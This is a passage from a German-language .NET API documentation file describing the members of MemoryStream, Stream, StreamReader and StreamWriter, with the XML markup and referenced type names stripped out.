ausschließlich nicht verwaltete Ressourcen freizugeben. + + + Überschreibt die -Methode, sodass keine Aktion durchgeführt wird. + 2 + + + Löscht sämtliche Puffer für diesen Stream asynchron und überwacht Abbruchanforderungen. + Eine Aufgabe, die die asynchrone Leerung darstellt. + Das Token zum überwachen von Abbruchanforderungen . + Der Stream wurde freigegeben. + + + Ruft die Länge des Streams in Bytes ab. + Die Länge des Streams in Bytes. + Der Stream ist geschlossen. + 2 + + + Ruft die aktuelle Position im Stream ab oder legt diese fest. + Die aktuelle Position innerhalb des Streams. + Die Position ist auf einen negativen Wert oder einen größeren Wert als festgelegt. + Der Stream ist geschlossen. + 2 + + + Liest einen Byteblock aus dem aktuellen Stream und schreibt die Daten in einen Puffer. + Die Gesamtanzahl der in den Puffer geschriebenen Bytes.Dies kann weniger als die Anzahl der angeforderten Bytes sein, wenn diese Anzahl an Bytes derzeit nicht verfügbar ist, oder null, wenn das Ende des Streams erreicht ist, bevor mindestens ein Byte gelesen wurde. + Enthält nach dem Beenden dieser Methode das angegebene Bytearray mit den Werten zwischen und ( + - 1), die durch aus dem aktuellen Stream gelesene Zeichen ersetzt wurden. + Der nullbasierte Byteoffset im , ab dem die Daten aus dem aktuellen Stream gespeichert werden. + Die maximale Anzahl der zu lesenden Bytes. + + ist null. + + oder ist negativ. + + subtrahiert von der Pufferlänge ist kleiner als . + Der aktuelle Instanz des Streams ist geschlossen. + 2 + + + Liest eine Folge von Bytes asynchron aus dem aktuellen Stream, erhöht die Position im Stream um die Anzahl der gelesenen Bytes und überwacht Abbruchanfragen. + Eine Aufgabe, die den asynchronen Lesevorgang darstellt.Der Wert des -Parameters enthält die Gesamtzahl der Bytes, die in den Puffer gelesen werden.Der Ergebniswert kann niedriger als die Anzahl der angeforderten Bytes sein, wenn die Anzahl an derzeit verfügbaren Bytes kleiner ist als die angeforderte Anzahl, oder sie kann 0 (null) sein, wenn das Datenstromende erreicht ist. + Der Puffer, in den die Daten geschrieben werden sollen. + Der Byteoffset im , ab dem Daten aus dem Stream geschrieben werden. + Die maximale Anzahl der zu lesenden Bytes. + Das Token zum überwachen von Abbruchanforderungen .Der Standardwert ist . + + ist null. + + oder ist negativ. + Die Summe aus und ist größer als die Pufferlänge. + Lesevorgänge werden vom Stream nicht unterstützt. + Der Stream wurde freigegeben. + Der Stream wird gerade durch einen früheren Lesevorgang. + + + Liest ein Byte aus dem aktuellen Stream. + Das Byte, das in umgewandelt wurde, oder -1, wenn das Ende des Streams erreicht wurde. + Der aktuelle Instanz des Streams ist geschlossen. + 2 + + + Legt die Position im aktuellen Stream auf den angegebenen Wert fest. + Die neue Position im Stream, die durch Kombinieren des anfänglichen Verweispunktes und des Offsets berechnet wird. + Die neue Position innerhalb des Streams.Diese ist relativ zum -Parameter und kann positiv oder negativ sein. + Ein Wert vom Typ , der den Bezugspunkt für die Suche darstellt. + Es wurde versucht, eine Suche vor dem Anfang des Streams auszuführen. + + ist größer als . + Ein ist ungültig. - oder - hat einen arithmetischen Überlauf verursacht. + Der aktuelle Instanz des Streams ist geschlossen. + 2 + + + Legt die Länge des aktuellen Streams auf den angegebenen Wert fest. + Der Wert, auf den die Länge festgelegt werden soll. + Die Größe des aktuellen Streams kann nicht geändert werden, und übersteigt die aktuelle Kapazität.- oder - Der aktuelle Stream unterstützt keine Schreibvorgänge. + + ist negativ oder größer als die maximale Länge von , wobei die maximale Länge ( - Ursprung) ist, und der Ursprung der Index des zugrunde liegenden Puffers ist, an dem der Stream beginnt. + 2 + + + Schreibt den Inhalt des Streams in ein Bytearray, unabhängig von der -Eigenschaft. + Ein neues Bytearray. + 2 + + + Gibt das Array vorzeichenloser Bytes zurück, aus dem dieser Stream erstellt wurde.Der Rückgabewert gibt an, ob die Konvertierung erfolgreich abgeschlossen wurde. + true, wenn die Konvertierung erfolgreich war, andernfalls false. + Das Bytearraysegment, aus dem der Stream erstellt wurde. + + + Schreibt einen Byteblock mit den aus einem Puffer gelesenen Daten in den aktuellen Stream. + Der Puffer, aus dem Daten geschrieben werden sollen. + Der nullbasierte Byteoffset im , ab dem Bytes in den aktuellen Stream kopiert werden. + Die maximale Anzahl der zu schreibenden Bytes. + + ist null. + Der Stream unterstützt das Schreiben nicht.Weitere Informationen finden Sie unter .- oder - Der Abstand der aktuellen Position zum Ende des Streams beträgt weniger als Bytes, und die Kapazität kann nicht geändert werden. + + subtrahiert von der Pufferlänge ist kleiner als . + + oder ist negativ. + E/A-Fehler. + Der aktuelle Instanz des Streams ist geschlossen. + 2 + + + Schreibt beim Überschreiben in einer abgeleiteten Klasse eine Folge von Bytes asynchron in den aktuellen Stream und erhöht die aktuelle Position im Stream um die Anzahl der geschriebenen Bytes und überwacht Abbruchanforderungen. + Eine Aufgabe, die den asynchronen Schreibvorgang darstellt. + Der Puffer, aus dem Daten geschrieben werden sollen. + Der nullbasierte Byteoffset im , ab dem Bytes in den Stream kopiert werden. + Die maximale Anzahl der zu schreibenden Bytes. + Das Token zum überwachen von Abbruchanforderungen .Der Standardwert ist . + + ist null. + + oder ist negativ. + Die Summe aus und ist größer als die Pufferlänge. + Der Stream unterstützt das Schreiben nicht. + Der Stream wurde freigegeben. + Der Stream wird derzeit von einem vorherigen Schreibvorgang verwendet. + + + Schreibt ein Byte an die aktuelle Position im aktuellen Stream. + Das zu schreibende Byte. + Der Stream unterstützt das Schreiben nicht.Weitere Informationen finden Sie unter .- oder - Die aktuelle Position befindet sich am Ende des Streams, und die Kapazität kann nicht geändert werden. + Der aktuelle Stream ist geschlossen. + 2 + + + Schreibt den gesamten Inhalt dieses Arbeitsspeicherstreams in einen anderen Stream. + Der Stream, in den dieser Arbeitsspeicherstream geschrieben werden soll. + + ist null. + Der aktuelle Stream oder der Zielstream ist geschlossen. + 2 + + + Gibt die Position in einem Stream an, der für die Suche verwendet werden soll. + 2 + + + Gibt den Anfang eines Streams an. + + + Gibt die aktuelle Position innerhalb eines Streams an. + + + Gibt das Ende eines Streams an. + + + Stellt eine allgemeine Ansicht einer Folge von Bytes bereit.Dies ist eine abstrakte Klasse.Um den .NET Framework-Quellcode für diesen Typ zu durchsuchen, finden Sie unter der Reference Source. + 2 + + + Initialisiert eine neue Instanz der -Klasse. + + + Ruft beim Überschreiben in einer abgeleiteten Klasse einen Wert ab, der angibt, ob der aktuelle Stream Lesevorgänge unterstützt. + true, wenn der Stream Lesevorgänge unterstützt, andernfalls false. + 1 + + + Ruft beim Überschreiben in einer abgeleiteten Klasse einen Wert ab, der angibt, ob der aktuelle Stream Suchvorgänge unterstützt. + true, wenn der Stream Suchvorgänge unterstützt, andernfalls false. + 1 + + + Ruft einen Wert ab, der bestimmt, ob für den aktuellen Stream ein Timeout möglich ist. + Ein Wert, der bestimmt, ob für den aktuellen Stream ein Timeout möglich ist. + 2 + + + Ruft beim Überschreiben in einer abgeleiteten Klasse einen Wert ab, der angibt, ob der aktuelle Stream Schreibvorgänge unterstützt. + true, wenn der Stream Schreibvorgänge unterstützt, andernfalls false. + 1 + + + Liest alle Bytes aus dem aktuellen Stream und schreibt sie in einen anderen Datenstrom. + Der Stream, in den der Inhalt des aktuellen Stream kopiert wird. + + ist null. + Der aktuelle Stream unterstützt keine Lesevorgänge.- oder - unterstützt das Schreiben nicht. + Entweder der aktuelle Stream oder wurde geschlossen, bevor die -Methode aufgerufen wurde. + Ein E/A-Fehler ist aufgetreten. + + + Liest alles Bytes aus dem aktuellen Datenstrom und schreibt sie unter Verwendung einer angegebenen Puffergröße in einen anderen Datenstrom. + Der Stream, in den der Inhalt des aktuellen Stream kopiert wird. + Die Größe des Puffers.Dieser Wert muss größer als 0 sein.Die Standardgröße ist 81920. + + ist null. + + ist negativ oder 0 (null). + Der aktuelle Stream unterstützt keine Lesevorgänge.- oder - unterstützt das Schreiben nicht. + Entweder der aktuelle Stream oder wurde geschlossen, bevor die -Methode aufgerufen wurde. + Ein E/A-Fehler ist aufgetreten. + + + Liest die Bytes asynchron aus dem aktuellen Stream und schreibt sie in einen anderen Stream. + Eine Aufgabe, die den asynchronen Kopiervorgang darstellt. + Der Stream, in den der Inhalt des aktuellen Stream kopiert wird. + + ist null. + Entweder der aktuelle Stream oder der Zielstream wird freigegeben. + Der aktuelle Stream unterstützt kein Lesen oder Zielstream unterstützt keine Schreibvorgänge. + + + Liest die Bytes asynchron aus dem aktuellen Stream und schreibt sie unter Verwendung einer angegebenen Puffergröße in einen anderen Stream. + Eine Aufgabe, die den asynchronen Kopiervorgang darstellt. + Der Stream, in den der Inhalt des aktuellen Stream kopiert wird. + Die Größe des Cookies in Bytes.Dieser Wert muss größer als 0 sein.Die Standardgröße ist 81920. + + ist null. + + ist negativ oder 0 (null). + Entweder der aktuelle Stream oder der Zielstream wird freigegeben. + Der aktuelle Stream unterstützt kein Lesen oder Zielstream unterstützt keine Schreibvorgänge. + + + Liest die Bytes asynchron aus dem aktuellen Stream und schreibt sie unter Verwendung einer angegebenen Puffergröße und eines Abbruchtokens in einen anderen Stream. + Eine Aufgabe, die den asynchronen Kopiervorgang darstellt. + Der Stream, in den der Inhalt des aktuellen Stream kopiert wird. + Die Größe des Cookies in Bytes.Dieser Wert muss größer als 0 sein.Die Standardgröße ist 81920. + Das Token zum überwachen von Abbruchanforderungen .Der Standardwert ist . + + ist null. + + ist negativ oder 0 (null). + Entweder der aktuelle Stream oder der Zielstream wird freigegeben. + Der aktuelle Stream unterstützt kein Lesen oder Zielstream unterstützt keine Schreibvorgänge. + + + Gibt alle vom verwendeten Ressourcen frei. + + + Gibt die von verwendeten nicht verwalteten Ressourcen und optional die verwalteten Ressourcen frei. + true, um sowohl verwaltete als auch nicht verwaltete Ressourcen freizugeben, false, um ausschließlich nicht verwaltete Ressourcen freizugeben. + + + Löscht beim Überschreiben in einer abgeleiteten Klasse alle Puffer für diesen Stream und veranlasst die Ausgabe aller gepufferten Daten an das zugrunde liegende Gerät. + E/A-Fehler. + 2 + + + Löscht sämtliche Puffer für diesen Stream asynchron und veranlasst die Ausgabe aller gepufferten Daten an das zugrunde liegende Gerät. + Eine Aufgabe, die die asynchrone Leerung darstellt. + Der Stream wurde freigegeben. + + + Löscht alle Puffer für diesen Stream asynchron, veranlasst die Ausgabe aller gepufferten Daten an das zugrunde liegende Gerät und überwacht Abbruchanforderungen. + Eine Aufgabe, die die asynchrone Leerung darstellt. + Das Token zum überwachen von Abbruchanforderungen .Der Standardwert ist . + Der Stream wurde freigegeben. + + + Ruft beim Überschreiben in einer abgeleiteten Klasse die Länge des Streams in Bytes ab. + Ein Long-Wert, der die Länge des Streams in Bytes darstellt. + Eine aus Stream abgeleitete Klasse unterstützt keine Suchvorgänge. + Es wurden Methoden aufgerufen, nachdem der Stream geschlossen wurde. + 1 + + + Ein Stream ohne Sicherungsspeicher. + 1 + + + Ruft beim Überschreiben in einer abgeleiteten Klasse die Position im aktuellen Stream ab oder legt diese fest. + Die aktuelle Position innerhalb des Streams. + E/A-Fehler. + Der Stream unterstützt keine Suchvorgänge. + Es wurden Methoden aufgerufen, nachdem der Stream geschlossen wurde. + 1 + + + Liest beim Überschreiben in einer abgeleiteten Klasse eine Folge von Bytes aus dem aktuellen Stream und erhöht die Position im Stream um die Anzahl der gelesenen Bytes. + Die Gesamtanzahl der in den Puffer gelesenen Bytes.Dies kann weniger als die Anzahl der angeforderten Bytes sein, wenn diese Anzahl an Bytes derzeit nicht verfügbar ist, oder 0, wenn das Ende des Streams erreicht ist. + Ein Bytearray.Nach dem Beenden dieser Methode enthält der Puffer das angegebene Bytearray mit den Werten zwischen und ( + - 1), die durch aus der aktuellen Quelle gelesene Bytes ersetzt wurden. + Der nullbasierte Byteoffset im , ab dem die aus dem aktuellen Stream gelesenen Daten gespeichert werden. + Die maximale Anzahl an Bytes, die aus dem aktuellen Stream gelesen werden sollen. + Die Summe aus und ist größer als die Pufferlänge. + + ist null. + + oder ist negativ. + E/A-Fehler. + Lesevorgänge werden vom Stream nicht unterstützt. + Es wurden Methoden aufgerufen, nachdem der Stream geschlossen wurde. + 1 + + + Liest eine Bytesequenz asynchron aus dem aktuellen Stream und setzt die Position in diesem Stream um die Anzahl der gelesenen Bytes nach vorn. + Eine Aufgabe, die den asynchronen Lesevorgang darstellt.Der Wert des -Parameters enthält die Gesamtzahl der Bytes, die in den Puffer gelesen werden.Der Ergebniswert kann niedriger als die Anzahl der angeforderten Bytes sein, wenn die Anzahl an derzeit verfügbaren Bytes kleiner ist als die angeforderte Anzahl, oder sie kann 0 (null) sein, wenn das Datenstromende erreicht ist. + Der Puffer, in den die Daten geschrieben werden sollen. + Der Byteoffset im , ab dem Daten aus dem Stream geschrieben werden. + Die maximale Anzahl der zu lesenden Bytes. + + ist null. + + oder ist negativ. + Die Summe aus und ist größer als die Pufferlänge. + Lesevorgänge werden vom Stream nicht unterstützt. + Der Stream wurde freigegeben. + Der Stream wird gerade durch einen früheren Lesevorgang. + + + Liest eine Folge von Bytes asynchron aus dem aktuellen Stream, erhöht die Position im Stream um die Anzahl der gelesenen Bytes und überwacht Abbruchanfragen. + Eine Aufgabe, die den asynchronen Lesevorgang darstellt.Der Wert des -Parameters enthält die Gesamtzahl der Bytes, die in den Puffer gelesen werden.Der Ergebniswert kann niedriger als die Anzahl der angeforderten Bytes sein, wenn die Anzahl an derzeit verfügbaren Bytes kleiner ist als die angeforderte Anzahl, oder sie kann 0 (null) sein, wenn das Datenstromende erreicht ist. + Der Puffer, in den die Daten geschrieben werden sollen. + Der Byteoffset im , ab dem Daten aus dem Stream geschrieben werden. + Die maximale Anzahl der zu lesenden Bytes. + Das Token zum überwachen von Abbruchanforderungen .Der Standardwert ist . + + ist null. + + oder ist negativ. + Die Summe aus und ist größer als die Pufferlänge. + Lesevorgänge werden vom Stream nicht unterstützt. + Der Stream wurde freigegeben. + Der Stream wird gerade durch einen früheren Lesevorgang. + + + Liest ein Byte aus dem Stream und erhöht die Position im Stream um ein Byte, oder gibt -1 zurück, wenn das Ende des Streams erreicht ist. + Das Byte ohne Vorzeichen, umgewandelt in Int32, oder -1, wenn das Ende des Streams erreicht ist. + Lesevorgänge werden vom Stream nicht unterstützt. + Es wurden Methoden aufgerufen, nachdem der Stream geschlossen wurde. + 2 + + + Ruft einen Wert in Millisekunden ab, der bestimmt, wie lange der Stream versucht, Lesevorgänge durchzuführen, bevor ein Timeout auftritt, oder legt diesen fest. + Ein Wert in Millisekunden, der bestimmt, wie lange der Stream versucht, Lesevorgänge durchzuführen, bevor ein Timeout auftritt. + Die -Methode löst immer eine aus. + 2 + + + Legt beim Überschreiben in einer abgeleiteten Klasse die Position im aktuellen Stream fest. + Die neue Position innerhalb des aktuellen Streams. + Ein Byteoffset relativ zum -Parameter. + Ein Wert vom Typ , der den Bezugspunkt angibt, von dem aus die neue Position ermittelt wird. + E/A-Fehler. + Der Stream unterstützt keine Suchvorgänge. Dies ist beispielsweise der Fall, wenn der Stream aus einer Pipe- oder Konsolenausgabe erstellt wird. + Es wurden Methoden aufgerufen, nachdem der Stream geschlossen wurde. + 1 + + + Legt beim Überschreiben in einer abgeleiteten Klasse die Länge des aktuellen Streams fest. + Die gewünschte Länge des aktuellen Streams in Bytes. + E/A-Fehler. + Der Stream unterstützt nicht sowohl Lese- als auch Schreibvorgänge. Dies ist beispielsweise der Fall, wenn der Stream aus einer Pipe- oder Konsolenausgabe erstellt wird. + Es wurden Methoden aufgerufen, nachdem der Stream geschlossen wurde. + 2 + + + Schreibt beim Überschreiben in einer abgeleiteten Klasse eine Folge von Bytes in den aktuellen Stream und erhöht die aktuelle Position im Stream um die Anzahl der geschriebenen Bytes. + Ein Bytearray.Diese Methode kopiert Bytes aus dem in den aktuellen Stream. + Der nullbasierte Byteoffset im , ab dem Bytes in den aktuellen Stream kopiert werden. + Die Anzahl an Bytes, die in den aktuellen Stream geschrieben werden sollen. + Die Summe der  und  ist größer als die Länge des Puffers. + + ist null. + + oder  ist negativ. + E/a-Fehler, wie z. B. die angegebene Datei nicht gefunden werden kann. + Der Stream unterstützt das Schreiben nicht. + + wurde aufgerufen, nachdem der Stream geschlossen wurde. + 1 + + + Schreibt eine Bytesequenz asynchron in den aktuellen Stream und setzt die aktuelle Position in diesem Stream um die Anzahl der geschriebenen Bytes nach vorn. + Eine Aufgabe, die den asynchronen Schreibvorgang darstellt. + Der Puffer, aus dem Daten geschrieben werden sollen. + Der nullbasierte Byteoffset im , ab dem Bytes in den Stream kopiert werden. + Die maximale Anzahl der zu schreibenden Bytes. + + ist null. + + oder ist negativ. + Die Summe aus und ist größer als die Pufferlänge. + Der Stream unterstützt das Schreiben nicht. + Der Stream wurde freigegeben. + Der Stream wird derzeit von einem vorherigen Schreibvorgang verwendet. + + + Schreibt beim Überschreiben in einer abgeleiteten Klasse eine Folge von Bytes asynchron in den aktuellen Stream und erhöht die aktuelle Position im Stream um die Anzahl der geschriebenen Bytes und überwacht Abbruchanforderungen. + Eine Aufgabe, die den asynchronen Schreibvorgang darstellt. + Der Puffer, aus dem Daten geschrieben werden sollen. + Der nullbasierte Byteoffset im , ab dem Bytes in den Stream kopiert werden. + Die maximale Anzahl der zu schreibenden Bytes. + Das Token zum überwachen von Abbruchanforderungen .Der Standardwert ist . + + ist null. + + oder ist negativ. + Die Summe aus und ist größer als die Pufferlänge. + Der Stream unterstützt das Schreiben nicht. + Der Stream wurde freigegeben. + Der Stream wird derzeit von einem vorherigen Schreibvorgang verwendet. + + + Schreibt ein Byte an die aktuellen Position im Stream und erhöht die aktuelle Position im Stream um ein Byte. + Das Byte, das in den Stream geschrieben werden soll. + E/A-Fehler. + Der Stream unterstützt keine Schreibvorgänge, oder er wurde bereits geschlossen. + Es wurden Methoden aufgerufen, nachdem der Stream geschlossen wurde. + 2 + + + Ruft einen Wert in Millisekunden ab, der bestimmt, wie lange der Stream versucht, Schreibvorgänge durchzuführen, bevor ein Timeout auftritt, oder legt diesen fest. + Ein Wert in Millisekunden, der bestimmt, wie lange der Stream versucht, Schreibvorgänge durchzuführen, bevor ein Timeout auftritt. + Die -Methode löst immer eine aus. + 2 + + + Implementiert einen , der Zeichen aus einem Bytestream in einer bestimmten Codierung liest.Um den .NET Framework-Quellcode für diesen Typ zu durchsuchen, finden Sie unter der Reference Source. + 1 + + + Initialisiert eine neue Instanz der -Klasse für den angegebenen Stream. + Der zu lesende Stream. + + unterstützt keine Lesevorgänge. + + ist null. + + + Initialisiert eine neue Instanz der -Klasse für den angegebenen Stream mit der angegebenen Option zur Erkennung der Bytereihenfolgemarken. + Der zu lesende Stream. + Gibt an, ob am Anfang der Datei nach Bytereihenfolgemarken gesucht werden soll. + + unterstützt keine Lesevorgänge. + + ist null. + + + Initialisiert eine neue Instanz der -Klasse für den angegebenen Stream und mit der angegebenen Zeichencodierung. + Der zu lesende Stream. + Die zu verwendende Zeichencodierung. + + unterstützt keine Lesevorgänge. + + oder ist null. + + + Initialisiert eine neue Instanz der -Klasse für den angegebenen Stream mit der angegebenen Zeichencodierung und Option zur Erkennung der Bytereihenfolgemarken. + Der zu lesende Stream. + Die zu verwendende Zeichencodierung. + Gibt an, ob am Anfang der Datei nach Bytereihenfolgemarken gesucht werden soll. + + unterstützt keine Lesevorgänge. + + oder ist null. + + + Initialisiert eine neue Instanz der -Klasse für den angegebenen Stream mit der angegebenen Zeichencodierung, Option zur Erkennung der Bytereihenfolgemarken und Puffergröße. + Der zu lesende Stream. + Die zu verwendende Zeichencodierung. + Gibt an, ob am Anfang der Datei nach Bytereihenfolgemarken gesucht werden soll. + Die Mindestgröße des Puffers. + Lesevorgänge werden vom Stream nicht unterstützt. + + oder ist null. + + ist kleiner oder gleich 0 (null). + + + Initialisiert eine neue Instanz der -Klasse für den angegebenen Stream auf Grundlage der angegebenen Zeichencodierung, der Option zur Erkennung der Bytereihenfolgenmarken, der Puffergröße und lässt optional den Stream geöffnet. + Der zu lesende Stream. + Die zu verwendende Zeichencodierung. + true, um am Anfang der Datei nach Bytereihenfolgemarken zu suchen, andernfalls false. + Die Mindestgröße des Puffers. + true, um den Datenstrom geöffnet zu lassen, nach dem das -Objekt freigegeben wurde; andernfalls false. + + + Gibt den zugrunde liegenden Stream zurück. + Der zugrunde liegende Stream. + 2 + + + Ruft die aktuelle Zeichencodierung ab, die das aktuelle -Objekt verwendet. + Die durch das aktuelle Leseprogramm verwendete aktuelle Zeichencodierung.Der Wert kann sich nach dem ersten Aufruf einer -Methode von ändern, da die automatische Erkennung der Codierung erst nach dem ersten Aufruf einer -Methode erfolgt. + 2 + + + Löscht den internen Puffer. + 2 + + + Schließt den zugrunde liegenden Stream und gibt die vom verwendeten nicht verwalteten Ressourcen sowie optional auch die verwalteten Ressourcen frei. + true, um sowohl verwaltete als auch nicht verwaltete Ressourcen freizugeben, false, um ausschließlich nicht verwaltete Ressourcen freizugeben. + + + Ruft einen Wert ab, der angibt, ob sich die aktuelle Streamposition am Ende des Streams befindet. + true, wenn sich die aktuelle Streamposition am Ende des Streams befindet, andernfalls false. + Der zugrunde liegende Stream wurde verworfen. + 1 + + + Ein -Objekt um einen leeren Stream. + 1 + + + Gibt das nächste verfügbare Zeichen zurück, ohne es zu verarbeiten. + Eine ganze Zahl, die das nächste zu lesende Zeichen darstellt, oder -1, wenn keine zu lesenden Zeichen vorhanden sind oder der Stream keine Suchvorgänge unterstützt. + E/A-Fehler. + 1 + + + Liest das nächste Zeichen aus dem Eingabestream und verschiebt die Zeichenposition um ein Zeichen nach vorn. + Das nächste Zeichen im Eingabestream wird als -Objekt dargestellt, oder -1, wenn keine weiteren Zeichen verfügbar sind. + E/A-Fehler. + 1 + + + Liest vom aktuellen Stream ein angegebenes Maximum von Zeichen in einen Puffer ein und beginnt dabei am angegebenen Index. + Die Anzahl der gelesenen Zeichen, bzw. 0 (null), wenn das Ende des Streams erreicht ist und keine Daten gelesen wurden.Die Anzahl ist gleich dem -Parameter oder kleiner, abhängig davon, ob die Daten im Stream verfügbar sind. + Enthält nach dem Beenden dieser Methode das angegebene Zeichenarray mit den Werten zwischen und (), die durch die aus der aktuellen Quelle gelesenen Zeichen ersetzt wurden. + Der Index von , bei dem mit dem Schreiben begonnen wird. + Die maximale Anzahl der zu lesenden Zeichen. + Die Länge des Puffers minus ist kleiner als . + + ist null. + + oder ist negativ. + Es ist ein E/A-Fehler aufgetreten, beispielsweise das Schließen eines Streams. + 1 + + + Liest eine angegebene Höchstanzahl von Zeichen asynchron aus dem aktuellen Stream und schreibt die Daten in einen Puffer, wobei am angegebenen Index begonnen wird. + Eine Aufgabe, die den asynchronen Lesevorgang darstellt.Der Wert des -Parameters enthält die Gesamtzahl der Bytes, die in den Puffer gelesen werden.Der Ergebniswert kann niedriger als die Anzahl der angeforderten Bytes sein, wenn die Anzahl an derzeit verfügbaren Bytes kleiner ist als die angeforderte Anzahl, oder sie kann 0 (null) sein, wenn das Datenstromende erreicht ist. + Enthält nach dem Beenden dieser Methode das angegebene Zeichenarray mit den Werten zwischen und ( + - 1), die durch die aus der aktuellen Quelle gelesenen Zeichen ersetzt wurden. + Die Position in , an der mit dem Schreiben begonnen wird. + Die maximale Anzahl der zu lesenden Zeichen.Wenn das Ende des Streams erreicht ist, bevor die angegebene Anzahl von Zeichen in den Puffer geschrieben wurde, erfolgt die aktuelle Methodenrückgabe. + + ist null. + + oder ist negativ. + Die Summe aus und ist größer als die Pufferlänge. + Der Stream wurde freigegeben. + Der Reader wird gerade durch einen früheren Lesevorgang verwendet. + + + Liest eine angegebene Höchstanzahl von Zeichen aus dem aktuellen Stream und schreibt die Daten in einen Puffer, wobei am angegebenen Index begonnen wird. + Die Anzahl der gelesenen Zeichen.Die Anzahl ist kleiner oder gleich , je nachdem, ob alle Eingabezeichen gelesen wurden. + Enthält nach dem Beenden dieser Methode das angegebene Zeichenarray mit den Werten zwischen und (), die durch die aus der aktuellen Quelle gelesenen Zeichen ersetzt wurden. + Die Position in , an der mit dem Schreiben begonnen wird. + Die maximale Anzahl der zu lesenden Zeichen. + + ist null. + Die Länge des Puffers minus ist kleiner als . + + oder ist negativ. + Der ist geschlossen. + Ein E/A-Fehler ist aufgetreten. + + + Liest eine angegebene Höchstanzahl von Zeichen asynchron aus dem aktuellen Stream und schreibt die Daten in einen Puffer, wobei am angegebenen Index begonnen wird. + Eine Aufgabe, die den asynchronen Lesevorgang darstellt.Der Wert des -Parameters enthält die Gesamtzahl der Bytes, die in den Puffer gelesen werden.Der Ergebniswert kann niedriger als die Anzahl der angeforderten Bytes sein, wenn die Anzahl an derzeit verfügbaren Bytes kleiner ist als die angeforderte Anzahl, oder sie kann 0 (null) sein, wenn das Datenstromende erreicht ist. + Enthält nach dem Beenden dieser Methode das angegebene Zeichenarray mit den Werten zwischen und ( + - 1), die durch die aus der aktuellen Quelle gelesenen Zeichen ersetzt wurden. + Die Position in , an der mit dem Schreiben begonnen wird. + Die maximale Anzahl der zu lesenden Zeichen.Wenn das Ende des Streams erreicht ist, bevor die angegebene Anzahl von Zeichen in den Puffer geschrieben wurde, erfolgt die Methodenrückgabe. + + ist null. + + oder ist negativ. + Die Summe aus und ist größer als die Pufferlänge. + Der Stream wurde freigegeben. + Der Reader wird gerade durch einen früheren Lesevorgang verwendet. + + + Liest eine Zeile von Zeichen aus dem aktuellen Stream und gibt die Daten als Zeichenfolge zurück. + Die nächste Zeile des Eingabestreams bzw. null, wenn das Ende des Eingabestreams erreicht ist. + Es ist nicht genügend Speicherplatz vorhanden, um einen Puffer für die zurückgegebene Zeichenfolge zu reservieren. + E/A-Fehler. + 1 + + + Liest eine Zeile von Zeichen asynchron aus dem aktuellen Stream und gibt die Daten als Zeichenfolge zurück. + Eine Aufgabe, die den asynchronen Lesevorgang darstellt.Der Wert des -Parameters enthält die nächste Zeile aus dem Stream oder ist null, wenn alle Zeichen gelesen wurden. + Die Anzahl der Zeichen in der nächsten Zeile ist größer als . + Der Stream wurde freigegeben. + Der Reader wird gerade durch einen früheren Lesevorgang verwendet. + + + Liest alle Zeichen von der aktuellen Position bis zum Ende des Streams. + Der Rest des Streams als Zeichenfolge, von der aktuellen Position bis zum Ende.Wenn die aktuelle Position am Ende des Streams ist, wird eine leere Zeichenfolge ("") zurückgegeben. + Es ist nicht genügend Speicherplatz vorhanden, um einen Puffer für die zurückgegebene Zeichenfolge zu reservieren. + E/A-Fehler. + 1 + + + Liest alle Zeichen asynchron von der aktuellen Position bis zum Ende des Streams und gibt diese als einzelne Zeichenfolge zurück. + Eine Aufgabe, die den asynchronen Lesevorgang darstellt.Der Wert des -Parameters enthält eine Zeichenfolge mit den Zeichen von der aktuellen Position bis zum Ende des Streams. + Die Anzahl der Zeichen ist niedriger als . + Der Stream wurde freigegeben. + Der Reader wird gerade durch einen früheren Lesevorgang verwendet. + + + Implementiert einen zum Schreiben von Zeichen in einen Stream in einer bestimmten Codierung.Um den .NET Framework-Quellcode für diesen Typ zu durchsuchen, rufen Sie die Verweisquelle auf. + 1 + + + Initialisiert eine neue Instanz der -Klasse für den angegebenen Stream unter Verwendung der UTF-8-Codierung und der Standardpuffergröße. + Der Stream, in den geschrieben werden soll. + + ist schreibgeschützt. + + ist null. + + + Initialisiert eine neue Instanz der -Klasse für den angegebenen Stream unter Verwendung der angegebenen Codierung und der Standardpuffergröße. + Der Stream, in den geschrieben werden soll. + Die zu verwendende Zeichencodierung. + + oder ist null. + + ist schreibgeschützt. + + + Initialisiert eine neue Instanz der -Klasse für den angegebenen Stream unter Verwendung der angegebenen Codierung und Puffergröße. + Der Stream, in den geschrieben werden soll. + Die zu verwendende Zeichencodierung. + Die Puffergröße in Byte. + + oder ist null. + + ist negativ. + + ist schreibgeschützt. + + + Initialisiert eine neue Instanz der -Klasse für den angegebenen Stream unter Verwendung der angegebenen Codierung und Puffergröße und lässt optional den Stream geöffnet. + Der Stream, in den geschrieben werden soll. + Die zu verwendende Zeichencodierung. + Die Puffergröße in Byte. + true, um den Datenstrom geöffnet zu lassen, nach dem das -Objekt freigegeben wurde; andernfalls false. + + oder ist null. + + ist negativ. + + ist schreibgeschützt. + + + Ruft einen Wert ab, der angibt, ob der nach jedem Aufruf von den Puffer in den zugrunde liegenden Stream wegschreibt, oder legt diesen Wert fest. + true, um zum Entleeren des Puffers zu zwingen, andernfalls false. + 1 + + + Ruft den zugrunde liegenden Stream ab, der eine Schnittstelle zu einem Sicherungsspeicher bildet. + Der Stream, in den dieser StreamWriter schreibt. + 2 + + + Gibt die von verwendeten nicht verwalteten Ressourcen und optional die verwalteten Ressourcen frei. + true, um sowohl verwaltete als auch nicht verwaltete Ressourcen freizugeben, false, um ausschließlich nicht verwaltete Ressourcen freizugeben. + Die aktuelle Codierung unterstützt das Anzeigen einer Hälfte eines Unicode-Ersatzzeichenpaars nicht. + + + Ruft die ab, in der die Ausgabe geschrieben wird. + Die im Konstruktor für die aktuelle Instanz angegebene oder , sofern keine Codierung angegeben wurde. + 2 + + + Löscht sämtliche Puffer für den aktuellen Writer und veranlasst die Ausgabe aller gepufferten Daten an den zugrunde liegenden Stream. + Der aktuelle Writer wird geschlossen. + Ein E/A-Fehler ist aufgetreten. + Die aktuelle Codierung unterstützt das Anzeigen einer Hälfte eines Unicode-Ersatzzeichenpaars nicht. + 1 + + + Löscht alle Puffer für diesen Stream asynchron und veranlasst die Ausgabe aller gepufferten Daten an das zugrunde liegende Gerät. + Eine Aufgabe, die die asynchrone Leerung darstellt. + Der Stream wurde freigegeben. + + + Stellt einen StreamWriter ohne Sicherungsspeicher bereit, in den zwar geschrieben, aus dem jedoch nicht gelesen werden kann. + 1 + + + Schreibt ein Zeichen in den Stream. + Das in den Stream zu schreibende Zeichen. + E/A-Fehler. + + ist true, oder der -Puffer ist voll, und der aktuelle Writer ist geschlossen. + + ist true, oder der -Puffer ist voll, und der Inhalt des 